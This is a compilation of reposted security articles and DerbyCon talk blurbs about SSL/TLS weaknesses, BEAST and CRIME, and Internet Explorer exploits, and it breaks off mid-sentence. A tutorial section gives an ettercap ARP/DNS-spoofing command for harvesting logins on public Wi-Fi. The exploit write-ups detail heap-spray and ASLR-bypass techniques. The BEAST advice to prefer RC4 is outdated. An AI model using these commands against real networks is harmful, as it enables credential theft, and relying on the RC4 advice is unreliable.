SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA. Enabling TLSv1.2 does not change the cipher list. BEAST is mitigated in TLSv1.2, but the Lucky13 attack might still bite you. Send In Your App! If you have an Android app with a significant user base that has a better cipher list, let me know and I will add it to the list. Further Reading Real World Crypto 2013 by Adam Langley from Google Why does the web still run on RC4? by Luke Mather SSL/TLS in a Post-PRISM Era CyanogenMod issue Android issue #61085 Test your browser Comments: HN, Slashdot, Reddit Sursa: Why Android SSL was downgraded from AES256-SHA to RC4-MD5 in late 2010

SSL/TLS IN A POST-PRISM ERA This is a collection of information related to the security of Secure Socket Layer (SSL) and Transport Layer Security (TLS). The aim of this page is to keep track of the current limitations and security problems in SSL/TLS and HTTPS. The biggest unsolved problem is the trust model of the Certification Authorities.All of these problems have been known for some time. These problems are mainly discussed and talked about at special security conferences to an audience that only contains security experts. These issues are rarely discussed with the general public or developers who use SSL/TLS in their projects. We aim to raise awareness of these problems outside of the security community. Contents Introduction What is SSL/TLS and CA The biggest problem with SSL/TLS ROOT-CA Security Breaches Dutch CA DigiNotar Etisalat NSA's PRISM project Other Incidents [*]Attacks Self Signed Certificates SSL Strip [*]Other Problems Weak Certificate Keys Disconnected Security Community [*]Solutions Online Certificate Status Protocol CA Regulation HTTP Strict Transport Security EFF HTTPS Everywhere Certificate Pinning Double Signed Certificates Reverse Fingerprint SSL Sovereign Keys RFC 6962 Certificate Transparency SSL Convergence DNS-SEC DANE [*]Summary of best known immediate solution BCP or RFC for HTTPS For Certificate Verification in General for applications in general [*]Further Reading Sursa: https://wiki.thc.org/ssl

Derbycon 2013 - Ownage From Userland: Process Puppeteering - Nick Cano Description: This offensive talk highlights a myriad of sneaky methods for manipulating processes on owned boxes. The talk will focus on tricks which can happily execute from userland and has a broad spectrum of applications which include ring-3 rootkit development, game hacking, virus development, and software augmentation. Bio: Nick Cano is a twenty year-old reverse engineer and software developer, with eight years of experience in software development and game exploitation. Along side his day job as a Programmer Analyst, Nick also runs a game hacking company which produces autonomous software capable of not only playing games, but also completely manipulating their environment and control flow. His experience includes malware analysis, binary reverse engineering, Windows system internals manipulation, userland rootkit development, and software automation. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Ownage From Userland: Process Puppeteering - Nick Cano

Using Social Engineering Toolkit - Credential Harvester Attack Description: This is Video Four on using The Social Engineering Toolkit on Backtrack Linux & Kali Linux. In this video i will show you how to use a credential harvester Attack using a Cloned Website and ettercap with dns_spoof. We will be attacking victims over a LAN (Local Area Network) However this is possible to do outside a network if you wanted to however i won't be explaining that in this video. Programs Used: Kali Linux SET - Social Engineering Tool Kit ettercap dns_spoof Browsers used: Google Chrome Commands used: nano /usr/share/ettercap/etter.dns Command allows us to edit the etter.dns that we will be redirecting cloned website to our lan ip on the network. ettercap -i wlan0 -T -q -P dns_spoof -M ARP:remote // // Change the wlan0 to whatever you're wireless interface name using iwconfig or ifconfig Take in mind this is being done over a wireless network. This can be used to get logins for facebook if your at a public wireless place. My websites: PhiberOptics - YouTube Matthew H Knight | Computer and Network Security Enthusiast http://twitter.com/ZaraByte http://facebook.com/ZaraByte Sursa: Using Social Engineering Toolkit - Credential Harvester Attack

Derbycon 2013 - New Shiny In The Metasploit Framework - Egypt Description: st like you. This talk will be a grab bag of some of the awesome new capabilities in the Framework from the last year, including Android Meterpreter, some fun new protocols, and new ways to make writing exploits and owning boxes easier. Bio: James Lee, more commonly known as egypt, is a software developer for Rapid7 where he is a core developer for the Metasploit Framework. His work at Rapid7 has allowed him to synergistically mesh enterprise-wide pentesting on an "organic" level. James has several unique talents, the most notable of which is the ability to play drunken chess and still beat sober people. Additionally, James has a 4 foot mohawk which is rumored to stand up by itself with no product. Before breaking into Infosec, egypt played back up guitar for GG Allin and the Scumfucs. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - New Shiny In The Metasploit Framework - Egypt

Derbycon 2013 - Sql Injection With Sqlmap - Conrad Reynolds Cisa Description: When hacking websites, SQL injection is a very popular way read or change data that you’re not supposed to have access to. Sqlmap is a powerful and free tool that enables you to find and exploit SQL injection vulnerabilities. Come see how to use sqlmap to attack websites and control databases (but only for the forces of good, please). Bio:Conrad has held a variety of positions in IT Audit, Application Development, Management, and Web Security in Fortune 50, non-profit,and government sectors. He has been implementing and advising on IT security solutions for several years. He currently hacks government web apps for a living. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Sql Injection With Sqlmap - Conrad Reynolds Cisa

Derbycon 2013 - Hello Asm World: A Painless And Contextual Introduction To X86 Assembly - Nicolle Neulist (Rogueclown) Description: Familiarity with assembly language is essential if you are interested in writing custom exploits, performing reverse engineering of binaries, or analyzing malware. Getting started with assembly can seem daunting at first: the instructions don’t resemble familiar higher-level instructions very closely. However, with a bit of knowledge of computer memory and a bit of context with both higher-level languages and simple yet useful code, programming useful things in assembly becomes a lot easier. This talk will explain basic principles of programming in x86 assembly language, provide concrete examples of simple functions implemented in assembly beside that same functionality implemented in a higher-level language, and demonstrate basic techniques for writing custom shellcode. No experience programming in assembly language is expected, though some basic experience programming in a higher-level language is helpful. Bio: nicolle neulist, otherwise known as rogueclown, is a geek from Chicago. Professionally, she is an associate security consultant with Accuvant LABS. Personally, she likes messing around with computers, playing in CTFs with #misec, singing anywhere she gets the chance, and wandering her hometown in search of fun places to go. She entered the field of information security thanks to the support of countless awesome people in the community, and she is passionate about helping new people interested in the field to find their way. She presented a talk about writing security tools in Python on the Teach Me track at DerbyCon 2.0, and has served as a speaker mentor at Security B-Sides Las Vegas in both 2012 and 2013. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Hello Asm World: A Painless And Contextual Introduction To X86 Assembly - Nicolle Neulist (Rogueclown)

BEAST vs. CRIME Attack Albert Fruz October 14, 2013 Some months ago there was a top story popping up in almost all the security news feeds about CRIME attacks being able to break SSL. In this article, I would like to pin down what CRIME attacks and BEAST attacks are and how to protect against these attacks to create a safe atmosphere. First we will look at the BEAST attack and later we will explain its successor, the CRIME attack. BEAST Attack The BEAST (browser exploit against SSL/TLS) was developed by researchers Thai Duong and Juliano Rizzo and can be carried out on TLS v1.0.TLS v 1.2 is not vulnerable to a BEAST attack. The CVE for a BEAST attack is CVE-2011-3389. Whenever you log in to any https page, after your authentication you can see your authenticated page and, if you look carefully at the URL, you can see the session ID. A session ID is a random number or combination of numbers and string that maintains the state of the page; it is assigned by the website server to the client browser. The Session ID can be found either in the cookie or in the URL of the web browser .Usually, all the session IDs will be encrypted to prevent hijacking of the session. I can break down this BEAST attack into three steps for simplicity. Step 1: An attacker sends a malicious JavaScript to run on your machine (this can be sent via CSRF, Social engineering ,A Drive-by download, the returned page can contain a JavaScript, etc.).This malicious script runs on the victim’s machine and can capture the entire header info and the encrypted cookie that is assigned from the web server (running TLS 1.0) and can then send the information to any website. Step 2: SSL/TLS can encrypt data with two kinds of ciphers: block ciphers, such as AES and DES, and stream ciphers like RC4.TLS v1.0 gives precedence to the block cipher rather than stream ciphers. This is where our vulnerability exists. If we have two identical plain text messages then, after encryption, we have the same cipher text so the pattern in plaintext is reflected in the cipher text. This is bad. In order to prevent this, we use cipher block chaining (CBC mode chaining).In CBC, if we want to encrypt block A, first we need to XOR with A-1. If it is the first block we cannot XOR with A-1 data so here we take the initialization vector. Step 3: The attacker compares the encrypted session details and the unencrypted data sent by the script to find the initialization vector. Once you get this information, we could decrypt the future cookies sent from the web server. You can check whether your website is vulnerable to BEAST attacks by doing a scan from SSL Labs: https://www.ssllabs.com/index.html. Workaround for BEAST Attacks Mitigation Open the Local Group Policy Editor. At a command prompt, enter “gpedit.msc”. The Group Policy Object Editor appears. Expand Computer Configuration, Administrative Templates, and Network, and then click SSL Configuration Settings. Under SSL Configuration Settings, double click the SSL Cipher Suite Order setting. The cipher suites, TLS_RSA_WITH_RC4_128_SHA and TLS_RSA_WITH_RC4_128_MD5, must be put first on the line. CRIME (Compression Ratio Info-Leak Mass Exploitation) CRIME (compression ratio info-leak made easy/compression ratio info-leak mass exploitation) is a new attack that was developed by two security researchers, Juliano Rizzo and Thai Duong. It decrypts the session cookies from the hypertext transfer protocol secure (HTTPS) connections by means of brute force. The so-called CRIME attack induces a vulnerable web browser into percolating a cookie authentication, created when a user starts a HTTPS session with a website. The obtained cookie can be used by hackers to log in to the victim’s account on the site. The cookie is obtained by tricking the browser into sending encrypted compressed requests to secure websites and exploiting the information negligently leaked in the process. Some extra data that has been tweaked by malicious JavaScript code is also embedded along with the cookies within each request. The differences in size of the compressed messages are measured to determine the cookie’s contents, character by character. This is possible because TLS/SSL and SPDY use a compression algorithm called DEFLATE, which works by eliminating duplicate strings. CRIME works against TLS/SSL Compression and SPDY (a special HTTP-like protocol developed by Google, and used sparingly around the web). The recent statistics gathered by SSL Pulse show that about 42% of the servers support SSL compression and 0.8% supports SPDY. SSL compression, as it is an optional feature that may or may not be enabled by default –it’s not necessary to be explicitly configured. However, SPDY would be explicitly designed into your web application. Vulnerable Systems TLS 1.0. SPDY protocol (Google). Applications that uses TLS compression. Mozilla Firefox (older versions) that support SPDY. Google Chrome (older versions) that supported both TLS and SPDY. Mechanism of the C.R.I.M.E Attack Analysis To understand the CRIME weakness, we need to understand the working of lossless data compression in SPDY and TLS/SSL (DEFLATE algorithm). Lossless data compression finds the redundancies in the body of the data and then these redundancies are represented in a smaller fashion. Consider this example: Assume that “AAAAABCDEFGH” is the source data that is being transported across a HTTPS connection. The mechanism of compression algorithm replaces the redundant sequence “AAAAA” with “5A,” thereby achieving a 25% compression ratio. Hence we get AAAAABCDEFGH = 5ABCDEFGH. Encrypted data has no redundancies and the output should be uniformly random. The encrypted output pattern gives information on how the data is being encrypted and some hints about the input data. So, for the effective working of compression plus encryption in the TLS/SSL, the input should be first compressed and then encrypted. Let’s consider two strings that use the compression scheme and encrypt the output. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]Data (Source) Compressed Encrypted ****************************************************************** ABCDEFGHIJKL = ABCDEFGHIJKL = Z@%fkT2r$#!B AAAAABCDEFGH = 5ABCDEFGH = jhG*4m#$A [/TD] [/TR] [/TABLE] We find that the first string, “ABCDEFGHIJKL,” is not compressed because it doesn’t contain any redundancy. The second string, “AAAAABCDEFGH,” is compressed because it does contain a redundancy, thus the encrypted output is made smaller. When comparing the string outputs, we find that compression happens before encryption and also that the encrypted output of the second string is shorter than the encrypted output of the first string. Thus we could conclude that the encrypted output of the second string has more redundancy compared to the other string. Breaking Encryption by Analyzing the Compression Algorithm An attacker could decrypt the source data by understanding the underlying compression algorithm. Let us consider this example; [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]Data (Source) Compressed Encrypted *************************************************** XYZABCDEFGHIJK = XYZABCDEFGHIJK = At9XeCNVxKt@XZC [/TD] [/TR] [/TABLE] It is obvious that the attacker doesn’t know what the source data and the compressed data, but he can see the encrypted data. In order to decrypt or find the unknown data, as a first step he adds an input “XYZ” along with the source data. At this point, he only knows his own input and the encrypted data. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]Data (Source) Compressed Encrypted **************************************************** XYZ [unknown Data] = [Totally Unknown] = At9XeCNVxKt@XZC [/TD] [/TR] [/TABLE] The “compression before encryption” associated with the security mechanism helps the attacker to find the unknown data, which purely depends on the value that is being supplied by the attacker, along with the unknown source data. Here the attacker tries three different input strings along with the source data. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]Data (Source) Compressed Encrypted ******************************************************* ZZZ [unknown Data] = [Totally Unknown] = QvnQSHvQWB3*QR YYY [unknown Data] = [Totally Unknown] = f*fB&M7sya*u7F AAA [unknown Data] = [Totally Unknown] = rAW^26uffH%8 [/TD] [/TR] [/TABLE] When the attacker inputs the string ‘AAA’ along with the source data, the redundancy of the data is increased and hence makes better compression of the data, thereby making the encrypted data length smaller. This in turn helps the attacker to confirm the existence of the string “A” in the source data. The attacker could repeat this technique with different values and infer the unknown source data fully. The offender adds some content in the source data, HTTP cookies (with session information). This data is compressed and encrypted. The attacker then analyzes the encrypted data by changing the control input, hence gaining insight into the redundancy of the data that gets compressed and ultimately learning the contents of the HTTP cookies. Mitigation A CRIME attack can be mitigated by disabling the compression mechanism of HTTPS requests. Therefore, the TLS/SSL auto compression of the web browsers/websites should be disabled. The compression method used on the server side is directly dependent on the compression mechanism on the client side, so if the data compression mechanism is disabled at the client side, the data at server side is automatically processed without compression, thereby preventing the CRIME attack. When the compression technique is enabled, use the cipher-chaining block (CBC) ciphers, which incorporate random padding up to 255 bytes. This technique would increase the number of trials an offender needs to infer the sensitive data. Implementing restrictions on cross-site requests known as CSRF (cross-site request forgery) on the client side helps to defeat the CRIME attack. TLS compression on the web servers should be. Upgrading web browsers, such as Mozilla and Chrome, that use TLS compression is recommended (IE browsers are not vulnerable to CRIME attacks). References Security impact of the Rizzo/Duong CBC "BEAST" attack - Educated Guesswork https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices_1.0.pdf https://www.phonefactor.com/resources/CipherSuiteMitigationForBeast.pdf Threatpost | The First Stop For Security News https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls https://isecpartners.com/blog/2012/september/details-on-the-crime-attack.aspx CRIME : New SSL/TLS attack for Hijacking HTTPS Sessions - The Hacker News The perfect CRIME? New HTTPS web hijack attack explained • The Register Security researchers to present new 'CRIME' attack against SSL/TLS | PCWorld Sursa: BEAST vs. CRIME Attack

Cum nu te descurci? Doar dai dublu click pe "start Wamp server" si gata. Pui fisierele PHP in c:\wamp\www si intri din browser pe http://127.0.0.1/ sau http://localhost/ Sau pentru un fisier anume: http://127.0.0.1/numefisier.php Vechi dar util: http://www.oriceon.com/tutorial_v2.1.rar

Te atrag catre niste servicii care initial par ok, apoi te vand ca pe niste legume in piata.

Lui M2G i-a fost retras statutul de moderator. Multumim pentru observatii.

Anatomy of an exploit - inside the CVE-2013-3893 Internet Explorer zero-day - Part 1 by Paul Ducklin on October 11, 2013 As you are probably aware, Microsoft's October 2013 Patch Tuesday includes an update for Internet Explorer that closes no fewer than ten RCEs, or Remote Code Execution holes. This sort of vulnerability means that merely looking at a booby-trapped web page could infect you with malware, even if you don't click on anything on the page. Unfortunately, an exploit that takes advantage of one those ten holes, CVE-2013-3893, is known to be in the wild. Cybercriminals have been using it; a proof-of-concept HTML page has been published that you can tweak for your own attacks; and the popular penetration tool Metasploit now includes it. So rather than just leave you to apply the patch and be done with it, we thought we'd look at this exploit in some detail. We hope that this will help you understand the lengths that cybercriminals will go to in order to attack your computer, despite the layers of protection that modern versions of Windows and Internet Explorer include. Don't worry if you aren't technical: we've tried to keep the assembler code and the programming jargon to a minimum. Just glide over anything you don't understand and get a feeling for how cyberattackers think - "know thine enemy" is a handy part of any defence. And, no, we haven't given away so much that you can turn this article into an attack of your own: it's an explanatory guide, not a how-to tutorial. The core of the hole Our attackers will be exploiting a bug in Internet Explorer's mouse capture functionality. In JavaScript, an object on an Internet Explorer web page can take or relinquish control over the mouse events that happen in the brower window, such as clicking and double-clicking. This is done using the functions setCapture() and releaseCapture(). An object can also declare an onclosecapture function, which will automatically be called if ever it loses control of the mouse, for example because another object calls setCapture() to take over. Our attackers seem to have discovered that these functions can be used to trick Internet Explorer, by orchestrating an unusual sequence of operations, something like this: [1] Create 10,000 items in the current web page, giving each one a title string of "3333....3333". [2] Free the memory of the last 5000 items by setting the title back to a blank string. [3] Create two more items, making one the parent of the other. [4] Set an onclosecapture event for the child item, in which 10,000 more items entitled "3333....3333" will be created. [5] Call setCapture() from the child item. [6] Call setCapture() from the parent (thus causing the onclosecapture from [4] to be called in the child item). What it does Here's what you see if you run the trigger code that does this under a debugger, using Windows 7 with Internet Explorer 9: If you aren't familiar with debuggers, this window tells you that the program has crashed at the address 0x6AA33859 in the system library MSHTML.DLL, trying to run the instruction: MOV EDX,DS:[ECX] (In Intel assember notation, data flows from right to left, so this means "move the value of [ECX] into the register EDX". And the square brackets mean "fetch the value at the memory address stored in ECX, not the value of ECX itself." The DS: just denotes that the value comes from the processor's data segment.) To explain further, the code at and after the offending instruction above does the following: MOV EDX,[ECX] ; Fetch the contents of the ; memory address in ECX, ; where ECX is controlled ; by the string in [1] and [4] ; on the attacker's web page. MOV EAX,[EDX+C4] ; Fetch the contents of the ; address C4 bytes past that. CALL EAX ; And call it as a subroutine. The exception occurs because ECX = 0x33333333 (the ASCII code for the text string "3333"), but there is no memory allocated at that address for the processor to read. It looks as though memory that was freed up in [2] was then re-used by Internet Explorer to store data that controls the flow of execution in MSHTML.DLL (Microsoft's rendering engine), and then wrongly re-used against for saving the text strings created in [4]. That's a use after free bug, and in this case, it means our attackers can lead Internet Explorer astray: they can trick the browser into using untrusted data from their remote web page to tell your computer where to jump next in memory. That means there is very likely to be a chance for RCE, or Remote Code Execution. The next step To make further headway, the attackers needed to to force ECX to contain the address of memory that is allocated, and that they can influence. Adding a step [4.5] to the list above does the trick: [4.5] Create 320 text strings that take up 1MB each, containing the bytes 0x12121212 repeated over and over. This is known as a heap spray, and it's an operation that uses JavaScript's powerful string-handling functions to force the operating system to allocate large blocks of memory in a controlled way. If we run Internet Explorer again until it crashes, and then peek at the memory blocks allocated by Windows, we can see the results of the heap spray. The size column shows that these blocks are all 0x00100000 bytes in length, or 1MB: Each of those blocks is crammed with the bytes 0x1212....1212. Notice particularly - and we shall soon see why this is terribly convenient - that the memory block containing the address 0x12121212 (and the address 0x121212D6, which is 0xC4 bytes further on), is one of the chunks filled with 0x1212....1212. Finding the right size for each heap spray object, and the right number of memory allocations to perform in order to get a neat and exploitable result, doesn't need to be done analytically. Cybercriminals can save time and effort simply by using trial and error - a process that can be automated. So, instead of using the text string "3333", as in steps [1] and [4] above, our attackers can choose a value that corresponds to an address inside one of the blocks they know their heap spray will produce. In the published exploit, they chose 0x12121202, though many others would have done just as well, so that steps [1] and [4] no longer have ECX set to "3333". Instead, ECX becomes 0x12121202, and the crooks get this: ; EDX gets the contents of 12121202 MOV EDX,[12121202] ; EDX is now 12121212, so ; EAX gets the contents of EDX+C4 (121212D6) MOV EAX, [12121212+C4] ; EAX is now 12121212, which we call CALL 12121212 ; Execution is now at an address we control! On versions of Windows before XP SP3, the attackers would already have won the battle at this point, by adapting the text strings from [4.5] so that they contained shellcode (executable code hidden in chunks of data) starting at 0x12121212 , thus instantly getting control. But these days (and we're on Windows 7 in this article, remember), memory blocks dished out by the operating system - allocations "on the heap", as they are known - are set to be NX, or No Execute, by default. If you try to execute an instruction in a memory page marked NX, the processor steps in and stops you. This is the basis of DEP, or Data Execution Prevention, and it means that even though our attackers can control exactly what is at address 0x12121212, and divert the processor to it, they can't make it run: On Windows XP, DEP slows the attackers down a bit, but not much: all they need to do is to tweak the heap spray so that the value at 0x121212D6 is an address in executable memory. (0x121212D6, remember, is 0x12121212+0xC4: that's where the CPU will jump as a side-effect of triggering this bug, due to the CALL EAX instruction shown above.) The richest sources of ready-to-use executable memory are the numerous system DLLs that are almost always loaded, such as KERNEL32.DLL, USER32.DLL and GDI32.DLL. Getting around ASLR On Windows 7, however, picking addresses in system DLLs is much harder than it sounds, because of ASLR, or Address Space Layout Randomisation. For example, here's a table from our test computer, showing where Internet Explorer and its first few DLLs are supposed to load, and where they actually loaded on three successive reboots: In short: DEP stops attackers with a vulnerability like this one from jumping straight to their shellcode as soon as the exploit gets control. ASLR stops attackers from bypassing DEP by jumping into a system DLL, because they don't know where it will be in memory. ? On Windows XP, system DLLs load at the same place every time, on every computer, making XP much easier to hack. That alone is enough reason to ditch XP as soon as you can, regardless of the looming "no more patches" deadline of April 2014. But our attackers have a way around this, because some common and popular DLLs still advertise themselves as incompatible with ASLR, and are therefore loaded without it. So they added this line of JavaScript for attacking Windows 7 users: try{location.href='ms-help://'} catch(e){} If you have Office 2007 or Office 2010 installed, trying to open an ms-help:// URL causes Internet Explorer to load the support library hxds.dll: Sadly, the address 0x51BD0000 is exactly where this DLL always loads, because it was compiled by Microsoft without the so-called DYNAMICBASE option, thus causing it to be left out of ASLR: Admittedly, this restricts the attackers to infecting computers on which Office is installed - but in practice, that isn't a major limitation: even if you don't own Office, you may well have a demo version left over from when you bought your PC. At this point, our attackers are on the brink of controlling your computer, having evaded all of the following: Windows memory management. JavaScript's "sandbox". Data Execution Prevention. Address Space Layout Randomisation. The good news is that they still have a fair amount of work to do. Before they can go any further, for example, they need to choose which address in hxds.dll they will write at offset 0x121212D6, to be the target of the fateful CALL EAX that will give them their first unlawfully executed machine code instruction. The bad news, of course, is we already know that our crooks are going to succeed in the end. So, please join us next week for Part Two, where we'll show you what they are going to do next, and why, and how you can detect and prevent their nefarious activities. Sursa: Anatomy of an exploit – inside the CVE-2013-3893 Internet Explorer zero-day – Part 1 | Naked Security

Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013) Published on 2013-05-22 18:24:17 UTC by Nicolas Joly, Senior Security Researcher @ VUPEN Hi everyone, Pwn2Own 2013 was much more challenging than ever with a Microsoft Surface Pro target running Internet Explorer 10 on Windows 8. Thinking about Windows 8 exploit mitigations randomly gives DEP, HiASLR, /GS, SEHOP, vTable Guard, Protected Mode sandbox, etc. but still, with the proper vulnerabilities, all these features can be defeated to pwn the new tablet! In this blog we will share our analysis and advanced exploitation technique of an integer overflow vulnerability we have discovered and exploited at Pwn2Own 2013 as first stage (CVE-2013-2551 / MS13-037) using dynamic ROP building and without any heap spray to achieve code execution in the context of IE10 sandboxed process, which is the first step needed to put a Pwn2Own jacket in your closet. 1. Where the magic happens Many of you probably know the Vector Markup Language (VML), which is the ancestor of SVG but is still supported by default by IE10. The language is implemented by vgx.dll, which can be usually found under C:\Program Files\Common Files\Microsoft Shared\VGX. For example, the following line produces a red oval: [TABLE] [TR] [TD] <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval> [/TD] [/TR] [/TABLE] More information about the topic can be found on MSDN. 2. A secret named DashStyle VML implements various subelements of the shape element, one of which is the Stroke subelement. This particular subelement has a property named dashstyle which can be either a constant or a custom pattern. This part is pretty well documented on MSDN. The next two examples show both use cases: [TABLE] [TR] [TD] <v:oval> <v:stroke dashstyle="LongDash"/> </v:oval> <v:oval> <v:stroke dashstyle="2 2 2 0 2 2 2 0"/> </v:oval> [/TD] [/TR] [/TABLE] As most of the VGX features related to this vulnerability and used in our exploit are undocumented, we found them by directly looking into the "vgx.dll" code and understanding its inner mechanisms. For example, reading the dashstyle attribute from JavaScript leads to call "COAStroke::get_dashstyle()". It calls a sub function named "COAShapeProg::GetOALineDashStyle()" that returns a COALineDashStyle object. These lines are taken from vgx.dll v10.0.9200.16490 on Windows 8 (32-bit) with MS13-010 update applied: [TABLE] [TR] [TD] .text:1007E600 ; COALineDashStyle * __thiscall COAShapeProg::GetOALineDashStyle() ... .text:1007E609 push ebx .text:1007E60A push Size .text:1007E60C call new(uint,int) .text:1007E611 mov ebx, eax .text:1007E613 pop ecx .text:1007E614 test ebx, ebx .text:1007E616 jz short loc_1007E633 .text:1007E618 push esi .text:1007E619 push const IID_IVgLineDashStyle,COAShapeProg>::s_dispStatic .text:1007E61E lea esi, [ebx+4] .text:1007E621 xor edx, edx .text:1007E623 mov eax, edi .text:1007E625 call COADispatch::COADispatch() .text:1007E62A mov dword ptr [ebx], offset COALineDashStyle::'vftable' [/TD] [/TR] [/TABLE] That particular dashstyle attribute is actually implemented as an undocumented object that exposes the following properties: The array property is particularly interesting here. For custom patterns, calling "COALineDashStyle::get_array()" returns a COALineDashStyleArray object allocated in "COAShapeProg::GetOALineDashStyleArray()": [TABLE] [TR] [TD] .text:1007E648 ; COALineDashStyleArray * __thiscall COAShapeProg::GetOALineDashStyleArray ... .text:1007E648 cmp dword ptr [edi+0C8h], 0 .text:1007E64F jnz short loc_1007E684 .text:1007E651 push ebx .text:1007E652 push 10h .text:1007E654 call new(uint,int) .text:1007E659 mov ebx, eax ... .text:1007E672 mov dword ptr [ebx], const COALineDashStyleArray::'vftable' [/TD] [/TR] [/TABLE] The COALineDashStyleArray is undocumented too and supports the following properties: Notice "COALineDashStyleArray::put_length()". As its name implies, it is possible to dynamically resize the array with a custom length. The next lines show how the DashStyle array length is updated in "COALineDashStyleArray::put_length()": [TABLE] [TR] [TD] .text:1008B87D lea edx, [ebp+arg_0] .text:1008B880 lea ecx, [eax+30h] .text:1008B883 mov eax, [ecx] .text:1008B885 push edx .text:1008B886 push 1CFh .text:1008B88B call dword ptr [eax] //get the array property .text:1008B88D mov ecx, [ebp+arg_0] .text:1008B890 test ecx, ecx .text:1008B892 jz short loc_1008B902 .text:1008B894 mov eax, [ecx] .text:1008B896 push ecx .text:1008B897 call dword ptr [eax+2Ch] //get the array length (call ORG::CElements) .text:1008B89A mov esi, [ebp+arg_4] .text:1008B89D mov edx, eax .text:1008B89F cmp edx, esi .text:1008B8A1 jge short loc_1008B8F3 //compare it with the supplied length [/TD] [/TR] [/TABLE] From that point one can either extend or shorten the DashStyle array, depending on the value of arg_4. Notice the signed comparison here. If a negative length is supplied, loc_1008B8F3 is reached: [TABLE] [TR] [TD] .text:1008B8F3 loc_1008B8F3: .text:1008B8F3 mov eax, [ebp+arg_0] .text:1008B8F6 mov ecx, [eax] .text:1008B8F8 sub edx, esi //edx = current_length - desired_length .text:1008B8FA push edx .text:1008B8FB push esi .text:1008B8FC push eax .text:1008B8FD call dword ptr [ecx+28h] //call ORG::DeleteRange .text:1008B900 jmp short loc_1008B90A [/TD] [/TR] [/TABLE] For information, VML uses ORG objects to implement arrays. Looking at "ORG::CElements()" reveals that the array length is actually defined as a short int: [TABLE] [TR] [TD] .text:1003C560 int __stdcall ORG::CElements(void) .text:1003C560 .text:1003C560 mov edi, edi .text:1003C562 push ebp .text:1003C563 mov ebp, esp .text:1003C565 mov eax, [ebp+arg_0] .text:1003C568 movzx eax, word ptr [eax+4] //return the array length .text:1003C56C pop ebp .text:1003C56D retn 4 [/TD] [/TR] [/TABLE] The execution flow hits then "MsoFRemovePx()" with arg_4 = current_length - desired_length and arg_8 = desired_length. [TABLE] [TR] [TD] .text:10076128 mov edi, edi .text:1007612A push ebp .text:1007612B mov ebp, esp .text:1007612D mov eax, [ebp+arg_4] //eax = current_length - desired_length ... .text:100761AB loc_100761AB: .text:100761AB mov esi, [ebp+arg_8] //esi = desired_length .text:100761AE .text:100761AE loc_100761AE: .text:100761AE movzx edx, word ptr [ebx] //edx = current_length .text:100761B1 add eax, esi .text:100761B3 cmp eax, edx //current_length - desired_length + desired_length //= current_length! .text:100761B5 jz short loc_100761D4 ... .text:100761D4 loc_100761D4: .text:100761D4 .text:100761D4 sub [ebx], si //update current_length to desired_length % 0x10000!! .text:100761D7 pop edi .text:100761D8 mov eax, esi .text:100761DA pop esi .text:100761DB pop ebx .text:100761DC pop ebp .text:100761DD retn 0Ch [/TD] [/TR] [/TABLE] Assuming desired_length = 0xFFFFFFFF, the DashStyle array length is then updated to 0xFFFF without triggering the array reallocation. With "COALineDashStyleArray::get_item()" and "COALineDashStyleArray::put_item()", it is then easy to read and write data anywhere between DashStyle.array and DashStyle.array + 4*0xFFFF. This is powerful enough to defeat any of the actual exploit mitigations included in Windows 8. 3. Two objets to rule them all There are various ways to exploit this vulnerability, and perhaps the easiest one consists in placing the malicious array right before a vTable to first disclose a pointer in the DLL and overwrite later this pointer to gain code execution. Disassembling the "COAShape::get__anchorRect()" function shows that each time the _anchorRect property is read, a COAReturnedPointsForAnchor object is allocated and returned to JavaScript: [TABLE] [TR] [TD] .text:1007F6B0 push 10h .text:1007F6B2 call new(uint,int) .text:1007F6B7 mov edx, eax .text:1007F6B9 pop ecx .text:1007F6BA test edx, edx .text:1007F6BC jz short loc_1007F6DA .text:1007F6BE mov ecx, [ebx+4] .text:1007F6C1 and dword ptr [edx+8], 0 .text:1007F6C5 and dword ptr [edx+0Ch], 0 .text:1007F6C9 mov [edx+4], ecx .text:1007F6CC inc dword_100ACA48 .text:1007F6D2 mov dword ptr [edx], const COAReturnedPointsForAnchor::'vftable' [/TD] [/TR] [/TABLE] In a few words, here is the exploitation scenario: first create a large array and fill it with these COAReturnedPointsForAnchor objects. Insert next a DashStyle array of 4 elements in the middle of the heap and trigger the vulnerability to disclose the vTable and bypass HiASLR. Spray then the heap, and eventually overwrite the pointer to cause a crash in "COADispatch::AddRef()": [TABLE] [TR] [TD] .text:1006DD2F mov eax, [esi] .text:1006DD31 mov ecx, [eax] .text:1006DD33 push eax .text:1006DD34 call dword ptr [ecx+4] //control the execution flow .text:1006DD37 mov eax, [esi+4] .text:1006DD3A inc eax .text:1006DD3B mov [esi+4], eax .text:1006DD3E retn [/TD] [/TR] [/TABLE] The next step is to rely on a ROP to get the payload executed. The usual method consists in pre-writing a ROP designed to work with a specific DLL version, but as our goal was to write a universal exploit which works on IE10, IE9, IE8, IE7 and IE6 running on any Windows version from Windows XP to Windows 8, any language, and any patch level or VGX version, we figured out that creating all these ROPs would represent a fair amount of work! As always, the first idea might not be the best...for professional exploit writers. 4. "Heapsprays are for the 99%" Here follows a way to read an arbitrary string in memory, so we can leak the SharedUserData section or even the whole "vgx.dll" library content and dynamically find and build our ROP gadgets. VML provides for example a _vgRuntimeStyle attribute which is handled by COARuntimeStyle for each VML shape. A quick review of that object shows that various attributes can be defined: Disassembling "COARuntimeStyle::get_marginLeft()" and 